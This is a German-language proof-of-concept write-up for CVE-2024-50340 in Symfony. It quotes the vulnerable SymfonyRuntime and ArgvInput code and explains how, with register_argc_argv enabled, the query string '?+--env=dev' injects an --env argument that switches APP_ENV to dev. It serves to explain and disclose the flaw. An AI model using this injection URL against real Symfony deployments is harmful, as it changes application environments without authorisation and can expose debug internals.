CVE-2024-50340 POC

Voraussetzungen

Die register_argc_argv-Option muss in der PHP-Konfigurationsdatei (php.ini) aktiviert sein. Diese Einstellung lädt Befehlszeilenargumente und Abfrageparameter in $_SERVER['argv']. https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv

Erklärung des anfälligen Codes

Dieser Symfony-Code verwendet Eingabeargumente (ArgvInput), um die Werte bestimmter Umgebungsvariablen, insbesondere APP_ENV und APP_DEBUG, zu bestimmen. Hier sind die relevanten Teile des Symfony-Codes:

//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();

if (isset($this->options['env'])) {
    return $this->input = $input;
}

if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
    putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}

if ($input->hasParameterOption('--no-debug', true)) {
    putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}

Der obige Code verarbeitet Argumente, die über ArgvInput bereitgestellt werden. Wenn der Parameter --env in argv angegeben ist, wird die Umgebungsvariable APP_ENV entsprechend aktualisiert. Ebenso setzt er, wenn --no-debug vorhanden ist, APP_DEBUG auf 0.

Die ArgvInput-Klasse

Die ArgvInput-Klasse initialisiert argv-Parameter, die über die Befehlszeile, Abfrageparameter oder standardmäßig über die in $_SERVER['argv'] übergeben werden. Die Funktion array_shift($argv); entfernt das erste Element aus dem $argv-Array (normalerweise der Anwendungsname) und speichert die restlichen Argumente in $this->tokens.

//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
    $argv ??= $_SERVER['argv'] ?? [];

    // strip the application name
    array_shift($argv);

    $this->tokens = $argv;

    parent::__construct($definition);
}

PoC Example

Mit der folgenden URL: http://localhost/?+--env=dev können wir ein --env=dev-Argument in $_SERVER['argv'] injizieren. Dies ermöglicht es uns, den APP_ENV-Wert auf dev zu ändern, ohne die Anwendungskonfiguration direkt zu ändern.

1. Beim Zugriff auf http://localhost/?+--env=dev könnte $_SERVER['argv'] wie folgt aussehen:

$_SERVER['argv'] = ["+--env=dev"];

2. In der ArgvInput-Klasse wird nach der array_shift-Operation $argv zu:

$argv = ["--env=dev"];

3. ArgvInput erkennt dann --env=dev als gültigen Parameter und aktualisiert APP_ENV entsprechend über die getParameterOption-Methode.